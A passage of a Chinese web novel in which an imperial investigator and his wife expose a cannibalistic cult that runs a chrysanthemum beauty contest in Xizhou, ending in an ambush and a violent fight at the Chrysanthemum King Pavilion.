慕容鸾音暂借他肩膀哭了一会儿,忽的想到会哭花妆容,连忙吸吸鼻子,深呼吸了几次止住,推开他,拿出小镜子来一看,眼睛都红了,口脂也在他肩膀上蹭没了,就嗔怨的睨他一眼。 “我错了。”萧远峥极力补救,“你、你好看,不施粉黛亦有清水出芙蓉之美,到了菊园一样艳压群芳。” “你的眼睛终于不瞎了。”慕容鸾音抽噎一下,慢慢的用帕子擦掉蹭出唇角的口脂,“不过,我已无需你的夸赞。” 萧远峥听了,心往下沉去。 约莫一刻钟后,车外隐隐传来热闹的嘈杂声,有女子聚集在一块的嬉笑声,有男子们闲谈胡吹的聒噪声,还有小贩们热情的叫卖声。 慕容鸾音掀开车帘就被阵阵菊花香扑了满脸,入目除了人流还有摆在沿街叫卖的各式各样的菊花盆景。 “哇,菊花竟有如此之多的品种。” 萧远峥听她又高兴起来,沉悔的心微微恢复了些活力,凑到她身后跟着向外看去。 这时马车忽的停下了,便听赵荆在车外道:“主子,前面设置了路障,凡入菊园的需在此处下车,步行前往。” “知道了。” 慕容鸾音匆匆欣赏完菊花就开始注意路边买花的美人们了,忽的她定睛一看正在买一朵墨菊的美人,眉眼深邃有 些异域风情,她怎么看都觉得熟悉,尤其那美人的身高,竟和她身畔英俊男子的身高差不多,这是极少见的。 等等,异域风情……异域风情……慕容鸾音一下子想起那女子像谁了,像她那便宜表哥胡狸,可世间又怎会有如此相似的两个人,除非同父同母的双胞胎。 萧远峥见慕容鸾音看着外头发呆,禁不住笑道:“想看,我陪你下车看去。” 慕容鸾音蓦的拽住萧远峥的袖子,紧张的问道:“我那个胡狸表哥,你让他去查弥勒教的案子,他现在人在哪里?在京城还是被你派出京查案去了?” “他说襄阳城也有弥勒教作案,孟凡尘就带着他往襄阳去了。怎么忽然问起他来?” “我刚才看见一个和胡狸长得一模一样,身高也几乎一样的美人正在街边买墨菊,太像了,我怀疑那是胡狸失散在外的同胞妹妹,咱们快下车去问问。” “不对,我问过他,他说自己没有兄弟姐妹。说不得,那就是他。” 顿时,萧远峥与慕容鸾音一起下车去找,却见那头戴墨菊的女子亲亲密密挎着一个男子的胳膊,顺着人流进了菊园用来分流游人有序进门的栅栏。 萧远峥一瞥那对男女的背影,就确认那女子是胡狸,男子是大理寺左少卿孟凡尘,顿时,牵紧慕容鸾音的手就向前挤去。 可此处人与人之间,摩肩接踵,任凭萧远峥是个能搏杀老虎的,也寸步难行,还被前面的人骂了一句,“挤什么挤,赶着投胎呀。” 萧远峥无奈何,低头看顾了慕容鸾音一眼,只这一眼的功夫,前面的胡狸和孟凡尘就不见了。 彼时,通过了入门的栅栏隔断之后,人流向四面八方散去,越发找不到了。 其中向东的一股人流仍然很壮观,通过贴在石灯上的指示牌方知,那是去往菊园中心斗花台的主路径。 萧远峥立时就牵着慕容鸾音随着这股人流向斗花台而去。 约莫走了一刻钟,慕容鸾音远远就瞧见了一座五层楼阁,在第三层挂着一块金光灿灿的匾额,錾刻着“菊王阁”三个楷书大字。 到了近前才确切的知道,这座菊王阁临水而建,正面对着汉白玉石砌成的斗花台,斗花台东西两边各有一条长廊,西边长廊进,东边长廊连接着菊园的出口。 彼时,即将参加斗花的美人们正站在西边的长廊里排队,每人头上都戴着一朵菊花,有些美人金钗银环,有些美人荆钗布裙,各个鲜妍,如花似玉。 就在这时,慕容鸾音再次看见了胡狸,心中一喜就向长廊内一个身高突出的美人指去,“他在那里。” 萧远峥蓦地按下慕容鸾音抬起的手,低声道:“莫声张。” 慕容鸾音一想,胡狸好端端一个男子却扮成女子参加斗花会,定是办案所需,连忙闭紧嘴巴,拉下萧远峥的脖子凑到他耳边悄声道:“我有法子接近他。” 话落,摸出写着“六八”字号的金菊花签给他看。 萧远峥想了想,立时牵着她手向西边长廊尾部报名处走去。 斗花台上,美人上去一个,下去一个,就没断过,负责评审的五个人就坐在菊王阁一楼楼下的卷棚里,长相平庸的,五个人压根不看她们精心准备的才艺,手一挥就有下人在一旁敲一下铜锣,扬声高喊:“送粗瓷碗碟一套,谢您参与。” 第49章 第049章教主饶命萧大人,你的后…… 西长廊尾部,设着一张长桌一条长凳,有一个头戴黑漆方巾,挺胸叠肚的汉子正坐在那里,收回一支花签,登记上美人的姓名和住址,就放美人踏上长廊。 慕容鸾音见状,就把自己的花签递了上去。 汉子许是见多了美人,头也不抬接住花签就问道:“姓甚名谁,家住何处?现居何处?” 萧远峥早已想好,就胡乱编了一个名字和住址告诉他。 但是当汉子看见花签上的“六八”字号,神情一下子郑重起来,又见上面是金菊花纹,蓦地抬头打量慕容鸾音,顿时看呆了。 萧远峥把汉子脸上神情的变化都看在眼里,冷声催促道:“可以上去了吗?” 汉子捏紧手里花签,连忙站起来赔笑道:“敢问这位美人,您头上的菊花呢?” “菊花?”慕容鸾音心想,是了,还得有菊花才行。 此时,萧远峥便将一朵粉色雏菊插戴在了她的发髻上。 “你哪来的?” 萧远峥轻笑道:“咱们过来的时候,看见一个士子怀里抱着一捧粉菊,与他擦身而过时,摘取了一朵。” 慕容鸾音眼见头戴墨菊的胡狸快要登台了,再也顾不得其他,一步踏上廊道就向前奔去。 有心中愤愤不平的,就嚷嚷起来,叱责慕容鸾音插队。 慕容鸾音就丢下一粒金枣子,大声高呼,“谁的金子掉啦?” “我的!我的!” “哪里有金子?” “我掉的!” 萧远峥见她这般机灵,会心一笑,眼角余光却瞥见那负责登记的汉子悄悄离开登记处,向菊王阁的方向奔去。 那边厢胡狸已经上了斗花台,只见他翘着兰花指,掏出帕子来就开始哭道:“家父身染重病,每日需用一根老山参吊命,小女子不得不抛头露面登上这斗花台,求五位大人怜惜,就给小女子一个菊花香囊吧。” 慕容鸾音一口气跑到头上,用一粒金枣子和排在第一的布裙美人换了位置,正叉着腰喘气,忽听见那墨菊美人一口矫揉造作的女子声腔,险些岔气。 好了,可以肯定了,就是胡狸没错。 评审席上,浙川布政使余秉信坐在中央,西州知府黄道生坐在其左手边,二人将胡狸从头到脚细细赏看一回,随后目光定格在他鼓鼓囊囊的胸脯子上,余秉信展开折扇遮住下半张脸,舔舔嘴唇才装模作样的开口道:“孝心可嘉,就给这位墨菊美人一个香囊吧,别忘了后日拿着香囊来参加总决赛呦。” 胡狸娇羞跺脚,福身一礼,扭腰摆臀的下去了。 黄道生也展开折扇挡住下半张脸,低声谄笑道:“这一个,个头虽高了些,但其波涛汹涌之处足可以补全这一缺点,正是大人您的最爱呀。” “多嘴。” “是、是。” 就在这时慕容鸾音上台了,她见胡狸拿了香囊就要走,立时摆出一副娇蛮跋扈样子,大喝道:“你们都给我听着,你们都是些庸脂俗粉,我是来艳压群芳的。” 已经走到右边廊道内的胡狸蓦的顿住脚,心觉好笑,回头望去,“娇躯”顿时一颤,这不是、不是他一眼倾心过的山茶美人吗?呸,罪过罪过,这不是他师母吗?! 慕容鸾音一说完,脸就涨红了,与胡狸有了目光对视之后,提着裙子跑下斗花台,故意撞了他一下,就径直向廊道出口疾步走去。 胡狸顺着慕容鸾音疾走的方向,一眼就看见了等在那里的萧远峥,两眼微睁,蓦的攥紧双拳,对着慕容鸾音的背影就娇声叱骂,“没长眼呀,你撞到我了。” 评审席上,黄道生激动的站了起来,“快、快把那极品美人给我抓回来。” 余秉信一把掐住他大腿,扇面挡脸,低声怒斥,“闭嘴,注意场合。既上了斗花台,还能让她跑了不成。” 彼时,斗花台下站着乌泱乌泱一群人,除了美人的家人们,还有专门来看美人的。 黄道生赶紧端端正正坐好,正冠肃容,“失礼了,失礼了。” 与此同时,菊王阁四楼,冰裂纹梅花纱窗内站着两个人,一个生得肥头大耳,腰缠金带,抚摸着胡须的左手,六根手指戴了四个金指环,正是西州首富朱炳权;另一个,身形 瘦长,方脸,鹰钩鼻,垂在大腿处的左手,亦是六指,乃是西州卫指挥使朱梵山。 “虽只惊鸿一瞥,但与画像上的那女子极为相似,应该就是萧远峥之妻慕容氏了。”朱炳权说着话坐回官帽椅,拿起放在一旁的画像比对,只见那画像上画着一对男女,男的瑰姿玉貌,女的艳绝尘寰,都穿着金莲花斗篷,一黑一红。 两张官帽椅之间夹着一张方桌,方桌上除了有酒具,还有一个铜匣子,匣内储着厚厚的冰块,正冒着寒气,冰块上摆着切的薄薄的一堆肉片。 朱梵山捏起一片来,仰头吃下,闭上眼细细咀嚼,吞咽后方道:“这一个我要了。” 朱柄权冷笑,“仙父先挑,剩下的才是我们的,这是规矩。” 朱梵山龇牙,发出兽吼声。 “别跟我龇牙,你有本事把仙父吃了,你做迦楼罗王,就轮到你先挑。” 侍立在侧的独眼和尚和铁拐道士见他们兄弟二人起了龃龉,连忙屏气凝神,害怕呼吸声大了引来池鱼之殃。 但铁拐道士还是被一个酒杯砸了脸,他慌忙跪地磕头,“教主饶命。” 独眼和尚也连忙跪地求饶。 朱梵山吐出肉渣,一双眼渐渐发红,“你们两个废物,我想吃活的,新鲜的就那么难吗?” “你这两个护法对你够忠心了,你借题发挥给谁看。别废话了,迟则生变,我看就定在明日夜里子时,关门杀狗,弟弟,你以为如何?” 朱梵山暴躁道:“随便你,这个姓萧的像是长了狗鼻子,闻着一点味儿就找来了,对我们威胁很大,杀了他!杀了他!留下他的女人,先奸后吃!” 朱炳权举起酒杯一饮而尽,笑道:“杀姓萧的,说难也难,说容易也容易,只看他随了他爹还是他祖父。” 是夜,胡狸和孟凡尘翻墙进了慕容宅,与萧远峥会面。 西花厅内,置备了一桌酒席。 萧远峥、慕容韫玉、胡狸、孟凡尘同坐一席,边吃边说话。 慕容鸾音已是吃过了,坐在一旁罗汉床上听他们说话。 胡狸撂下筷子就道:“师父,我们原本的确打算去襄阳追踪弥勒教,但是我们在半路上却打听到了一对和尚道士,和尚是独眼,道士拄着一副铁拐,这二人传播弥勒教的邪恶教义,发现哪里有怀胎九个月以上的妇人就钻营到人家家里去,然后蛊惑妇人的家里人堕其胎,九个多月的胎,若想堕下来,妇人极其受罪,九死一生。有些狠毒的人家,还会生剖,妇人若是死了就随便扔进山里,这就与咱们在京郊古人墓穴里发现的那些女尸对上了。” 孟凡尘接话道:“随后我们就追着这对和尚道士的踪迹到了西州城,发现他们进了一户豪宅的后门,我们打听到那是此地卫指挥使朱梵山的宅子。” 萧远峥心上一惊,面上不显,道:“继续。” 胡狸就道:“孟大人和我就觉得,弥勒教兴许不是普通的邪教了,我们就在西州城扮做一对来此参加斗花会的兄妹隐藏了下来,暗中又查出,朱梵山和西州首富朱柄权是兄弟。” 萧远峥道:“于是,你们觉得朱柄权挑头办起来的斗花会也有问题?” 胡狸猛点头。 孟凡尘就道:“经过我们的仔细查访就发现,每年的花榜第一都得了好结果,譬如去年的张氏,就被朱柄权大操大办娶回家去做了贵妾。而第一名之下的美人,有许多都失踪了。” 慕容鸾音忽的想起玉笙烟说过的“仙迹”一词。她说仙人曾选中过张孝富,把他从一个青皮打手点化成了大乡绅,这就是所谓的仙人显化,又被称作仙迹。 张如翠、张庭春父女,应当又是白玉京制造出来的“仙迹”,以此告诉那些有迫切欲i望的人们白玉京的存在,白玉京神通广大,只要经过仙主的点化就能实现愿望,甚至长生。 原来如此,原来如此! 慕容韫玉面带怒色,“人们往往只关注第一名,而忽略第一名之下的,用第一名的风光所得吸引越来越多的人跳进陷阱,同时还遮盖了第一名之下那些女子的悲惨境遇,一箭双雕,真真既狡猾又恶毒。” 就在这时苏逢生推门而入,大步走向萧远峥就递给了他一张纸条。 萧远峥展开一看,就见上面写着“明夜子时,关门杀狗,速滚”,字迹不是用笔所写,倒像是在灶房里找的黑炭头。 苏逢生坐下就道:“昨日我在闹市租下了一个带院子的铺面,挂上了锦隆镖局的牌子,按照约定,今日一早就找来舞狮的,热热闹闹庆祝新店开张,陆陆续续比我们先一步潜伏进来的锦衣卫们都与我接上了头,天一黑,就有人用一块石头绑着这张纸条扔进了我那边的院子。” 说到这里,苏逢生的面色凝重的仿佛能往下滴水,“萧大人,你的后手暴露了,白玉京竟神通广大至此,后面该怎么办?” 第50章 第050章一语成谶你、你,贱皮子…… 慕容鸾音听了,心上一紧,不由得站了起来。 萧远峥却道:“不,给你投递这张纸条的人一定不是白玉京的人,他是提醒我们,白玉京正在策划谋杀我,就像十一年前谋杀慕容青云一样。而这个人潜伏在白玉京内部知道了这个消息,故此于急促之下写成了这张纸条投送给你,好让你告诉我这个消息,让我快逃。这意味着,这人见过你,知道你是锦衣卫指挥使。也意味着,除了我们在调查白玉京,还有一个人或是一方势力在查白玉京,且,比我们更早更深入。” 慕容鸾音深吸一口气,又缓缓坐下了。 苏逢生一听,紧绷的面皮松弛下来,“吓死我了,我还当白玉京是精怪组成的呢,否则,何以那般神通广大。” 一边说着一边就提起桌上茶壶,顾不得什么礼仪,对着茶壶嘴就大口喝起来。 “整个西州城应该已经被白玉京控制在手里了。” “噗”地一声,苏逢生一口茶水喷了出来,满桌子的酒菜顷刻间都吃不成了。 除了面无表情的萧远峥自己,在场众人无不呆呆的看着他。 慕容鸾音只觉得一股凉气从后背心扑来,吓的她头皮发麻,不由得裹紧身上斗篷。 “今日在菊园斗花会上,评审席上坐着浙川布政使余秉信,西州知府黄道生,那黄道生脱口而出一句‘把那极品美人给我抓回来’,足可以说明,这二人已被白玉京侵蚀,方才大理寺少顷孟凡尘和胡狸二位又提及,弥勒教教徒进了本地卫指挥使朱梵山的豪宅,查到朱梵山和西州首富朱柄权是兄弟,也即是说,弥勒教很有可能是白玉京下的一个分支。来西州前,我看过此地的军事防务,西州虽被陛下有意荒废,但卫指挥使司下记录在册的仍旧有两个千户所,也即是说,朱梵山手底下至少有两千多教徒兵可用。苏大人,锦衣卫总共潜伏进来多少人?” 苏逢生狠狠抹一把脸,咬着牙道:“带上我,总共六百一十一人,但是萧大人你放心,我们都是以一当十的好手,拼却一死也会护着你们夫妇二人逃出西州城。” 慕容鸾音听到这里,已是手脚发软,怎么、怎么就忽然到了这般境地了…… 萧远峥摇摇头,淡淡道:“西州城既已在白玉京的掌控下,怕是我才靠近城门,他们就会提前发难,败退之兵,心气如同丧家之犬,抵抗之力衰微,我们一行人怕是会被乱刀砍死。倒不如,做最坏的打算,主动出击,拼死一搏。” 慕容韫玉站了起来,焦急的道:“我信你的判断,你有什么主意就快说,哪怕只有一线生机,我都听你的安排。” 苏逢生也站起来,两手抱拳,肃然道:“萧大人请说,苏逢生唯命是从。” 胡狸和孟凡尘见状,也赶忙站了起来,俯首作揖。 萧远峥闭了闭眼,再睁开时一双星眸沉静如渊,“现在我们手上有个张 庭春,就是去年得了花榜第一那个张氏的父亲,据他自己说,他是白玉京的仙民,我从他口里得知,若想加入白玉京需经过昌乐楼的试炼,一会儿,我就想法子威胁他,让他携带我入昌乐楼,然后放他走,他是白玉京虔诚的信徒,一定会立即找到他女婿朱柄权,告知他我的谋算,如此,白玉京应当会将计就计,把谋杀我的地点定在昌乐楼。待得张庭春和朱柄权串通好,我会主动跟着张庭春进入昌乐楼,如此,白玉京的所有目光都会在我身上。” 说到此处,萧远峥自怀中掏出“如朕亲临”的金牌,“孟凡尘、胡狸,你们过来。你们二人隐藏的很好,白玉京应当没发现你们,明日寻得机会你们出城去,带着金牌令箭去扬州调兵,扬州都指挥使司下的千户所驻地距离西州城最近,你们骑马疾驰,若无意外,一日内就能调来援兵,到那时直接包围西州城。” 孟凡尘双膝跪地,两手高举,恭恭敬敬的把金牌接在手里。 胡狸亦跪在地上哭道:“师父,您这是羊入虎口,有死无生啊。” 彼时胡狸还是女子装扮,胸前不知塞了什么,移位了,一个在上,一个在下,配上他哭花的脸,很是不堪入目。 萧远峥却笑道:“还有六百多锦衣卫会在外策应,我们只要坚持到天亮,援兵到了,就可生还。你们二人现在就走。” 孟凡尘将金牌收入怀中贴身放好,站起来后躬身一揖,郑重道:“萧大人,您一定要撑住,等我们回来。” 话落,毅然拽起胡狸向外走去。 萧远峥随即看向慕容韫玉,“明日,你带上几个人佯装在城内闲逛,天黑之前找到自己的藏身之地,援兵抵达以后才能出来,大哥,你能把自己藏好的,对吗?” 慕容韫玉看向呆坐在罗汉床上的慕容鸾音,急道:“你只让我藏起来,阿音呢?张庭春说过,此次昌乐楼的试炼是换I妻,你难道要带阿音和你一起羊入虎口吗?” “是。” 慕容韫玉勃然大怒,冲到萧远峥跟前,一把攥住他的前襟,“你再说一遍!” “我要和哥哥一起藏起来。”慕容鸾音带着哭音道:“我又不会武功,你带我同去,我只会成为你的累赘。” 萧远峥捏住慕容韫玉的手腕,向两侧一拧就挣开了他的钳制,起身走到慕容鸾音身畔坐下,“在城门口,小乞丐赠你花签时,你就被打上记号了。何况你是我的妻子,说不得白玉京早已把你的容貌画了下来,阿音你逃不掉的。你和你哥哥在一起,只会连累你哥哥被找到。” “我不怕被连累,阿音要跟我在一起!” 慕容鸾音怕极了,眼泪似断线的珠子颗颗滚落,身子瑟瑟发抖。 苏逢生一把抓住慕容韫玉的胳膊,“慕容兄,我想喝一顿壮行酒,走走走,咱们出去喝酒去。” “我不……” 慕容韫玉挣扎不去,被苏逢生捂住嘴,连拖带拽弄了出去。 “别怕,我保证,我带着你进入昌乐楼,不会让你离开我半步,我活你活。” 慕容鸾音抬眸盯住他,泣声道:“倘若你死了呢?” 萧远峥抬手接住她一颗颗滚落的泪珠,望着她眼睛,轻笑道:“我死之前会先杀了你。” 慕容鸾音瞳孔骤缩,颤抖的身子蓦的僵住,“什、什么?” 萧远峥将她拥在怀中,一手捧着她后脑勺,一手环住她的腰,蟒蛇一般缓缓收紧,“我说,我们会同生共死。” 慕容鸾音吓坏了,心里恐慌,挣扎起来,“谁要和你同生共死,我想好好活着,你死你的。” 萧远峥心痛如绞,星眸泛红,“若是以前的阿音妹妹一定愿意与我同生共死,对吗?” 慕容鸾音挣不开他,哭着捶打他的后背,“你也知道那是以前了,爱你如命的阿音妹妹死了。” “胡说,你就在我怀里,我会让以前的那个阿音妹妹回来的。” 慕容鸾音被他生生气的大哭起来,抽噎道:“你、你,贱皮子,混蛋!” 萧远峥任由她打骂,待得她没了力气,便撑着她后颈吻她唇瓣,撬开齿关,吮舌舔/弄。 慕容鸾音被他亲的浑身酥软,既没了力气反抗,就随他揉弄,心中的恐惧渐渐被欢愉替代。她虽再也不会爱他如命,却无条件的信任他,依赖他。心中想起在京中瑞雪堂与他争吵时自己说过的话,拿自己的命换哥哥的命在所不惜,没想到,一语成谶。 如此,也好。 一吻毕,萧远峥抱起紧闭双眼不理他的慕容鸾音送至内宅厢房,更衣后,拿上一把剑就径直去了倒座房。 彼时,张庭春已经醒了,为防他大喊大叫,就把他用绳子捆住,堵住嘴扔在榻上。 碧荷见萧远峥来了,连忙起身相迎,“世子爷。” “服侍你们姑娘去吧。” “是。” 萧远峥走到榻前,扯出他嘴里的堵头,冷睨着他道:“知道我是谁吗?” 张庭春眼神躲闪,颤声道:“我不知道,但是我是白玉京的仙人,你敢抓我,白玉京不会放过你的,但是只要你肯回头是岸,放了我,我就既往不咎。” “那你看看这是什么。” 说着话,萧远峥解开缠在剑上的黑绸。 张庭春定睛一看,就见一条五爪金龙缠在剑鞘上,剑首坠着明黄穗子,明黄色,那是皇室中人才能用的颜色,而五爪金龙那是皇帝的象征。 “这是上可斩王侯,下可斩贪官污吏的尚方宝剑。”萧远峥垂袖背手,冷冷道:“我乃陛下亲封八府巡抚萧远峥,奉命清剿邪教,此番查到了白玉京,现在我命令你配合我,带我进入昌乐楼,我要探知这伙邪教的根底,而后一总剿灭。” 张庭春瞥见萧远峥一副高高在上的样子,心里虽惊惧,但也生出轻蔑来,老话说的好,嘴上无毛,办事不牢,这个年纪轻轻的钦差大人不会以为,他拿出身份和尚方宝剑来压他,他就会跪地臣服吧。天高皇帝远,在这西州城,他们仙主迦楼罗王才是真正的皇帝。 心中那般想着,嘴上却道:“原来是钦差大人,小民愿意配合,只是昌乐楼不是个固定的所在,譬如,夜里子时正式开宴,只提前一天发放请帖,譬如我有了请帖,就能携带你参加,你就是我招揽来的教徒,故此还需大人放我回去收请帖。” “可。为防你通风报信,我会派一个人跟着你。” 张庭春心想,只要肯放我走,甩开一个人还不容易嘛,当即点头如捣蒜,“大人顾虑的是,该当的、该当的。” 50-60 第51章 第051章后退无门是…… 是夜,张庭春一回到自己家,就借口说要与自家娘子睡觉,把萧远峥派去盯着他的人挡在门外。那名锦衣卫早就知道自己的任务是做做样子,也就顺势找了个避风处,闭着眼装睡,发出打鼾声。 张庭春就躲在卧房中,把自己如何被留下吃酒,如何被下了药,如何被抓,又是如何被威胁,自己如何应对的,仔仔细细的写了下来,最后还十分虔诚愧疚的说自己没完成任务,罪该万死,祈望府君看在自己女儿的面子上宽恕一回,留他残躯报效仙主。 信件写成之后,偷开一条门缝,听见打鼾声,当即就让马氏偷偷溜了出去,往府君女婿朱炳权处送信。 却原来,张庭春写信给慕容韫玉,邀他来西州赏花,本就是朱炳权的指使,因为萧远峥深挖范成德案,堆京观,抓他们白玉京的府君玉在山,引得仙主震怒,降下天罚,下了诛灭萧远峥的法旨。 在京时,羲皇族夜王发动两次刺杀都以失败告终,而后引得萧远峥警惕防范,他们认为在京城想要杀死萧远峥难度极大,就换了策略,定下了在西州城杀死萧远峥的计划,先把慕容韫玉引到西州城虐杀后做成“鱼饵”,用“鱼饵”把萧远峥引到西州城诛灭,但是没想到,萧远峥会被皇 帝封为八府巡抚,清剿邪教,第一府就冲着他们西州城来了,还在半路上与慕容韫玉会合,一块到了西州城。 却说张庭春自从赌光家财后,为了活命,就哄着自家娘子马氏和女儿张如翠,租人房子,做暗娼,但妻女做暗娼所得哪里够他赌上一把的,就四处钻营寻找东山再起的门路,打听到西州城有机遇,就问慕容韫玉借了两百两银子,带着女儿去碰运气,不曾想,就被仙人抚顶了,女儿还被府君看上大操大办娶回家去做了贵妾,从此一心一意效忠白玉京。 张如翠嫁给朱柄权洞房之夜,就发现她要伺候的不止一个朱炳权,还有他弟弟朱梵山,因着做过很长一段日子的暗娼,亦是经历过的,又看在朱炳权又给她穿金戴银的份上,从此就顺从了。 那马氏年纪虽大,却是风韵犹存,兼之床上功夫了得,便成了朱府常客,进出自由。她带着张庭春写的信直奔女儿卧房,但见朱氏兄弟贴着她女儿大开大合,习以为常,两手捧着信就敬献了上去。 朱炳权当即抽身看信,朱梵山不管那些,还把马氏也抓到了手里。 待得朱柄权看完信,就捶桌大笑,“好一个自投罗网。我原本想的是明天夜里子时包围慕容宅,杀完后,还要清理周围的邻居,此番这条狗却主动要往我的袋子里钻,倒是替我省了好些麻烦。昌乐楼就定在菊王阁三楼,倒时候咱们兄弟还可在四楼听着这条狗的惨叫声寻欢作乐,弟弟,你以为如何?” 朱梵山喘着粗气道:“随便。但是我要亲自猎杀他。哥,他也是郧国公府的世子,还是正二品,他爹算一头鲸,他算不算?” 朱柄权兴奋的搓手,“当时萧璟是正一品镇西大将军,中军都督府右都督,军权在握;而今萧远峥是正二品八府巡抚,比他爹低了两个品阶,但皇帝赐他尚方宝剑,上可斩王侯,下可斩贪官污吏,权比帝王,怎么不算一头鲸呢?弟弟,此次刺杀,只许成功不许失败,一旦成功,我们兄弟会不会被仙主点化为仙王?” 朱梵山把那母女俩抓的惨叫,两眼露出贪婪的红光,“我想做迦楼罗王,成为极乐圣境的主人。上次我回极乐圣境,服侍仙父进食的仙娥偷偷与我说,仙父开始用熟食了,他老了。” “我不跟你抢仙父的王位,咱们白玉京有九十六个尊位,至今未满。连从造化炼炉中走出来的怪物都能被封为夜王,被仙主召进京,凭什么我不行。只要咱们兄弟齐心协力杀死萧远峥,立下大功,一定能封王。我要做操控他人命运的王!” 翌日,天蒙蒙亮,马氏就带回了昌乐楼的请帖。 张庭春一刻不敢耽误就送到了萧远峥手上。 萧远峥打开请帖一看,地点写的是菊王阁三楼,时间是今日夜里子时,与昨夜收到的纸条上的日期对上了,越发肯定,那投送纸条的神秘人不是白玉京的人。地点放在菊王阁,可推测整座菊园都是白玉京的产业,亦从侧面证实了胡狸和孟凡尘的猜测,斗花会的确有问题,从来不是为了繁荣西州城,而是白玉京光明正大选美享用的手段。 慕容鸾音深知白玉京的邪恶狠毒,为增加一点活命的可能,就派人去买了石灰粉装在绣花袋里背在身上,还往头上插了几根银簪子,银比金子坚硬,关键时候可拔下来插人眼睛,弄完这些,抚摸胸口,摸到衣襟下略微硬实的纹路,一颗心稍稍安定。未曾想到,当初为改变洛淑仪的命运让哥哥编织的金丝软甲在此时派上了用处。 不知不觉,天就黑了下来,宅子里只剩下四个人,萧远峥慕容鸾音和赵荆阎大忠。 慕容鸾音怕极了,偎依在萧远峥怀里瑟瑟发抖,萧远峥紧紧拥着她。 谁都没有言语,静待子时。 慕容鸾音不知道自己是怎么登车的,恍恍惚惚就听见驾车的赵荆说到了。 到哪里了? 菊王阁下,斗花台前。 慕容鸾音由着萧远峥把她抱下马车,就见张庭春夫妻笑盈盈的站在旁边等着,那笑容,是她平生仅见的恶心。 偌大菊园,黑如深渊,唯有菊王阁灯火通明,门口竖起了一支旗杆,杆上雪白的旗子迎风飘扬,上面用血红的字写着“昌乐楼”三个字。 张庭春谄笑催促,“谢大公子,谢夫人,咱们快进去吧。” 萧远峥紧紧牵着慕容鸾音的手,举步踏入,步步登梯。 到了此时此景,慕容鸾音脑海中一片空白,只感受到,他的手竟是灼热的,她顺着他们交握的手缓缓看向他的侧脸,他似有所觉,与她四目相对,她在他眼中竟看到了熊熊烈火,仿佛他们不是送入虎口的羔羊,而是伺机猎杀的猛虎。 她的心一下子安定了下来。 三楼到了。 张庭春夫妻一人推开一扇门,一齐笑道:“快请进去吧。” 门一开,慕容鸾音向内望去就看见中央摆着一张四面平长方大案,案上摆满了酒肉佳肴,正对着门,大案的尽头设了屏座,一座黑漆描金美人屏风下设了两张宝座,上头坐着两个人,一胖一瘦,胖的那个脑满肠肥笑呵呵,瘦的那个光着臂膀满面阴鸷,两旁站着两个美人,通体上下只穿着一件薄透的大袖衫。 张庭春夫妻迫不及待把门关上了,紧接着慕容鸾音就听见了上锁的声音。 ——后退无门了。 萧远峥不着痕迹把楼内结构收入眼底,随即牵着慕容鸾音的手含笑上前,在他们对面坐定。 朱梵山看着慕容鸾音咽口水,把身畔美人往前一推就道:“换!把你妻子献给我,咱们就是自己人,你可以活命。” 萧远峥笑道:“未通姓名就索要我的妻子,合适吗?” 朱炳权啧啧两声,笑道:“萧大人,别装了,我们早就识破你了,实话告诉你,今夜这场昌乐宴只有我们和你,你若肯心甘情愿献上妻子成为我们中的一员,即刻升你为府君,张庭春应该告诉你了,成为府君就可参加极乐长生宴,食用长生丹,这是天大的机缘,你考虑一下如何?” 随着朱炳权话音落地,朱梵山嚯然离座,几乎是同时,萧远峥抓起案上酒壶砸向朱梵山,随即震开身上鹤氅,抽出长鞭,圈住慕容鸾音向梁上甩去。 “抱紧横梁!” 慕容鸾音听到这一声提醒时,人已离地飞起,惊慌大叫一声,“嘭”的一下子撞在了横梁上,在即将下坠时下意识手脚并用,这才险险抱住没摔下去。 与此同时,萧远峥与朱梵山缠斗在了一起。 朱炳权冷笑,“给脸不要脸!” 话落,抓起酒杯向地上狠狠掷去,登时就有手持长刀的杀手从屏风后源源不断的涌了进来,将萧远峥团团围住。 朱柄权笑道:“一个时辰之内,我要你们把男的剁成肉酱,我要拿去喂狗,女的活捉献给咱们的迦楼罗王。” 说完这句,施施然带着美人转向屏风后,从暗门上了四楼。 他在楼内埋伏了三百教徒兵,三百兵杀一人,这人还带着个累赘,砍瓜切菜罢了。而且为防意外,还在菊园内埋伏了七百兵,待得门口旗杆上的旗子换成鲸落楼,那七百人就会手持兵刃将菊王阁团团围住,足足一千人围杀一个萧远峥,若布置的这般缜密还杀不死,他自己就去死! 却说等在楼下的赵荆和阎大忠,自从萧远峥夫妻进入楼内以后,他们就一直紧盯着,片刻后便看见楼内走出一个汉子,扛着一杆旗出来换下了写着“昌乐楼”三个字的旗杆。 赵荆正感疑惑,忽听“嘭”的一声,自三楼飞出一个菜盘子。 赵阎二人便知这是萧远峥给他们的信号,当即抽出兵刃向楼内冲去。 扛旗出来的汉子见状,当即吹响口哨,埋伏在一楼的教徒兵顷刻间就与赵荆阎大忠打了起来。 藏匿在菊园各处的教徒兵听见口哨声,也全部倾巢而出。 与此同时,埋伏在菊园外的六百多锦衣卫也在苏逢生的带领下悍然冲进了菊园。 第52章 第052章你怕我?你不如永远做个…… 慕容鸾音趴在横梁上,就见杀手源源不断的从屏风后涌出来,短短几个呼吸的功夫,萧远峥就被十几个杀手包围了,他在与光膀子那男人缠斗的同时, 还要躲避其他杀手的砍杀。 就在她惊恐焦急之时,萧远峥悍然攻击,老鹰抓鸡一般抓住了光膀男子的脖子,指尖内扣仿如刺刀,插进了那男人的颈动脉,登时血水就爆了出来。 光膀男人顿时眼珠爆凸,两手化爪在萧远峥胳膊上抓出了数道血痕。 萧远峥揪着他脖子,倒拖着他,猛地将其撞向美人屏风,屏风顷刻向后倒去,将两个刚刚从暗门涌入的杀手压在下面,亦暂时堵住了门。 与此同时,两把刀砍向了萧远峥后背,“锵”地一声两刀撞击火花四溅,刀锋划开了墨色锦袍,露出了里面金光灿灿的软甲。 萧远峥回身将他们踢飞,夺来一把刀就大开杀戒,顷刻间血肉横飞。 他脸上身上都染上了敌人的血肉,一把刀卷了刃,就再夺取一把,揪住敌人的发髻,横刀一划就抹杀一人。 他放弃防御,以攻为守,悍不畏死,一双眼逐渐猩红,丧失理智,仿佛修罗降世,唯知杀戮。 慕容鸾音看呆了,心中生出恐惧来,想起静园中他用虎头堆出的那座小山,她只知道舅外祖把他和饥饿之虎关在一个笼子里锻炼他的武技,却从未想过那样做的后果是什么,可现在她知道了。 怪不得、怪不得他有胆子主动带她跳进敌人的陷阱,原来在他眼中这些杀手才是羔羊。 四楼,朱柄权自以为万无一失,搂着美女寻欢作乐。 